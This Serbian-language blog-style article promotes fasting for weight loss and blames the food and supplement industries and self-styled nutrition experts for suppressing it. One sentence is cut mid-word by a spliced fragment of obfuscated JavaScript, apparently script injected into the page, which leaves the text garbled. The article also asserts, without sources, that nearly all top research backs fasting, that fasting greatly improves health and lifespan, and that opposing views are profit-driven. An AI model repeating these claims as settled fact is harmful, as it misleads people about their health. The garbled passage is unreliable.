Post – pristup koji ne ostavlja nedoumice

Definisati post je krajnje jednostavno. Najbolja definicija na koju sam naišao je sledeća: „Čin dobrovoljnog uzdržavanja od nekih ili svih namirnica tokom određenog vremenskog perioda.“ Ključna reč u ovoj definiciji je svakako „dobrovoljno“, jer ona čini razliku između posta i gladovanja. Izuzimajući tu malu distinkciju, konačan rezultat je isti – svrhovito uzdržavanje od unosa kalorija tokom određenog vremenskog perioda.

Kao što do sada već znate, postoje očigledne koristi od razmatranja posta kao načina za dolaženje do istine koja se krije iza istinskog nutricionizma i gubitka masnog tkiva. Pod „skrivanjem“ ovde ne podrazumevam neku istinu koja nam izmiče samom svojom nedokučivom prirodom, nego koja biva skrivana od određenih strana. Najvažnija istina je, naravno, da svako ko ima interesa koji se dotiču prodaje određenih proizvoda nije ni najmanje zainteresovan kako za proučavanje tako i za propagiranje posta.

Jer, post automatski odbacuje mogućnost upotrebe bilo kakvih namirnica, dodataka ishrani ili „funkcionalne“ hrane. Na razočaranje proizvođača i distributera raznoraznih preparata (pa i mnogo oni koji su u poziciji da kao „treneri“ i „nutricionisti“ ostvare finansijski interes prodajom određenih preparata naivnoj klijenteli), post i njegove dobrobiti nije moguće upakovati u tabletu ili kapsulu ili ga prevesti u praškasto stanje i prodavati. Kao što znamo, osnovna svrha gotovo svake vrste nutritivnog istraživanja je upravo – razvoj novih proizvoda. Samim tim, činjenicom da tokom perioda posta ne konzumirate ništa, validna istraživanja posta nisu podložna uticajima eventualnog finansiranja od strane prehrambenih kompanija (jer, zbog čega bi neka od njih trošila novac dokazujuću da postoje zdravstvene koristi od manje potrošnje njenih proizvoda?).

Nezavisne studije posvećene postu su mnogobrojne, i svakog dana sprovodi ih se sve više. Post je, na neki način, postojao i sprovođen je od početka beleženja istorijskih podataka. Svaka od velikih religija uključuje i određen stepen posta i postoji mnoštvo zabeleženih slučajeva posta iz različitih pobuda. Povremeni, ograničeni post je zapravo predstavljao i način ishrane paleolitskog čoveka. Bez obzira na to što je savremeni čovek navikao na tri regularna dnevna obroka (plus još koji između, naravno), u prirodi ne postoji životinja, pogotovo među mesožderima, koja jede tri puta na dan. Jede se kada se ostvari ulov. Nema nikakvog razloga da se pretpostavlja kako je paleolitski čovek jeo drugačije, i logično je pretpostaviti da su naši preci, u zavisnosti od raspoloživosti hrane, redovno povremeno postili (nije greška – upravo redovno povremeno postili!). Postoje dokazi i da trenutno različite kulture poste širom sveta.

Nestanak posta

Sa stanovišta nutricionizma, čovek može biti isključivo ili u stanju nahranjenosti ili posta. Pod ovim podrazumevam činjenicu da smo neprestano u procesu unosa i skladištenja kalorija koje dolaze iz namirnica, ili stanju sagorevanja tako uskladištenih kalorija. Energija se, naravno, skladišti u obliku masnoća i glikogena.

Naše telo je evoluiralo tako da jede kada je hrana dostupna i koristi uskladištene kalorije u periodima oskudice. To su jedine dve opcije koje imamo na raspolaganju. Posmatrajte ih kao yin i yang ishrane i zdravlja. Dakle:

1) Unos i skladištenje kalorija
2) Post i sagorevanje kalorija.

Post je najjednostavniji način koji telo ima na raspolaganju za održavanje kalorijske ravnoteže. Prosto: uskladišti pomalo kad jedemo, sagori pomalo kad ne jedemo. Problem je što skorašnja istraživanja ukazuju kako provodimo i do 20 časova dnevno u stanju sitosti. Neprestano jedemo i skladištimo kalorije a da nikada zaista ne pružamo sebi priliku da ih sagorimo.

Tako su yin i yang stanja sitosti i gladi zamenjena neprestanim stanjem sitosti, u kome – bespoštedno „pomagani“ i „motivisani“ od strane „stručnjaka“ i „gurua“ najraznovrsnijih fela i pojavnih oblika (a zajedničkog porekla, u čijoj osnovi se kriju samo i isključivo lenjost, ograničenost i neznanje, naravno obilato zamaskirani drskošću i samouverenoću) – bespomoćno i beznadežno nastojimo da dokučimo kako da nastavimo da jedemo a istovremeno i gubimo na težini. To, s obzirom na činjenicu da je organizam koncipiran tako da skladišti masno tkivo, predstavlja veoma uznemirujući scenario. Prirodni uslovi su, nakon miliona godina selekcije, doveli do toga da organizam nauči kako da skladišti masnoće u periodima prejedanja, kako bi bio u stanju da ih sagoreva kasnije, kada nema izbora nego da se gladuje.

Zamislite lovca koji je uhvatio i pojeo svoju lovinu, pronašavši usput i nešto bobica. U trenutku kada je pojeo meso, a sve bobice su obrane, lovac nema drugog izbora do da nastavi dalje i pronađe još hrane, bez garancije da će je naći tog, a možda i sledećeg, ili čak i nekoliko sledećih dana. Upravo tako su naši organizmi predviđeni da funkcionišu. Pa zašto onda, kada je telo evoluiralo da se hrani i posti, niko više ne posti?

Odgovor je, naravno, jednostavan. Celokupan koncept posta u cilju redukcije telesne težine i zdravlja je gotovo demonizovan u savremenom društvu jer ide nasuprot jednom od bazičnih principa poslovanja – proizvodnje i potražnje. Za prehrambenu industriju, zamisao da ljudi jedu manje je loša za poslovanje i njegovu svetu kravu, poznatu pod ozloglašenom sintagmom „maksimizacija profita“. Zbog toga prehrambena i uopšte industrija povezana sa nutricionizmom ne preza od predstavljanja i zdušnog propagiranja mnoštva šarolikh teorija o načinima gubljenja težine, sve dok, naravno, ne prestajemo da nastavimo sa kupovinom i potrošnjom hrane.

Setite se svih predloga za dijete koje znate. Sve se zasnivaju na neprestanom unosu namirnica. Unosite šest malih obroka dnevno. Jedite mnogo proteina. Jedite doručak (To je najvažniji dnevni obrok!). Unosite cerealije. Jedite namirnice od celog zrna. Uzimajte pilule i tablete. Jedite! Uzimajte! Unosite! Šta god bila preporuka, uvek se vrti oko toga da obavezno neprestano unosimo hranu i dodatke ishrani.

To i ne treba da čudi jer, na kraju, imajte na umu da nas kompanije i prodavci zovu – potrošači (a ne ljudi). Druga reč za potrošača je „mušterija“. Koliko puta ste već čuli da predstavnik neke kompanije kaže „Mi cenimo i vredujemo naše mušterije“? Pa naravno da nas cene, jer mi kupujemo (i unosimo) njihove proizvode – bez nas ne bi bilo ni profita a ni kompanije. Sada nastavite taj „lanac saučesnika“ pomenutim „guruima nutricionizma i zdravlja“, i slika dobro podmazanog mehanizma koji melje svaki smisao zdravorazumskog pristupa ishrani se nameće sama po sebi.

U vremenu kada toliko ljudi pokušava i ne uspeva da omršavi, izgleda zaista neverovatno da je odgovor jednostavno držanje dijete. Svaka od danas popularnih dijeta je dugoročno osuđena na propast. Bez obzira na to koliko jaka snaga volje, na kraju će biti prevaziđena, preplavljena silama marketinga, propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, okruženja i zavodljivosti sjajnih, primamljivih ukusa. Jer, u zbiru, niko ne želi da drži dijetu, samo da izgleda bolje sa manje masnoće na telu (držanje dijete samo izgleda kao sredstvo koje omogućava dostizanje tog cilja).

Sve ovo prosto vapi za pitanjem: „Da li smo to, pod usmerenom baražnom vatrom svesrdnih nastojanja da budemo podstaknuti potrošnjom, dovedeni do tačke u kojoj previđamo najjednostavniji način smanjenja kalorija i gubljenja težine – ograničene periode posta?“ Šta mislite? (Moj odgovor je, naravno, nagromoglasnije „DA!“)

Zaboravite poluinformacije koje ste čuli o postu

Količina informacija koju možete pronaći na internetu a govori o štetnosti posta je zapanjujuća. Sve to uprkos činjenici da je organizam predviđen za post, kao i da skoro svaka od velikih kultura i religija kao deo rituala sadrži i neku vrstu posta.

Informacije o dijetama i postu koje prevladavaju internetom treba čitati sa izuzetnim oprezom. Groteskne (a zapravo bestidno sramotne) tvrdnje poput „post dovodi do nedostatka nutrijenata i ne čini ništa kako bi doveo do promena navika u ishrani“, ili „gubitak težine kod posta u celosti čini gubitak mišićne mase“ lako je pronaći na mreži. Takve tvrdnje su – naravno – uobičajeno praćene istom ofucanom nutricionističkom mantrom „jedite mnogo manjih obroka dnevno“, ili jedite „obroke bogate proteinima na svaka 2-3 sata“, „izbegavajte mleko i mlečne proizvode“, „izbegavajte …, …, …“ (popunite sami, jer postoji silesija mudrosti gluposti koje nažalost nikako da presuše jer uvek nalaze izuzetno plodno tlo za rast!) i mnoštvo drugih popularnih „ideja“ o nutricionizmu.

Zapanjujuća stvar je, međutim, da gotovo svako vrhunsko naučno istraživanje pruža dokaze koji su u direktnoj suprotnosti u odnosu na (polu)informacije (polu)obrazovanih „eksperata“ na internetu.

Takva istraživanja podržavaju korišćenje kratkotrajnih perioda posta kao efikasnog sredstva za gubljenje težine. Istraživanja uključuju kako uticaj posta na metabolizam i mišiće, tako i njegov uticaj na vežbanje i performanse. Najinteresantnije od svega je da ovakav tip posta ne samo pomaže kod gubitka težine, već drastično poboljšava ključne pokazatelje zdravlja. (Da ne pominjem, naravno, uticaj na produžavanje životnog veka!)

O svemu tome sam na neki način već pisao, i trebalo bi da su oni koji su zaista – a ne samo na rečima – zainteresovani za drastično poboljšanje rezultata kojima teže upoznati sa tim ključnim aspektima i da već primenjuju post. U sledećem članku  detaljnije ću se posvetiti upravo uticaju posta na metabolizam, vežbanje i mišićnu masu (uključujući i razmatranje komičnih, nedotupavnih „mudrosti“ koji savetuju dodatni unos namirnica (i kalorija!) kako biste mogli da sagorevate više kalorija (a u stvari tek desetinu dodatno unetog iznosa!)). Međutim, nije potrebno da čekate na sledeći članak: za početak uključivanja posta u režim ishrane dovoljne su vam i smernice pomenute u onim prethodnim!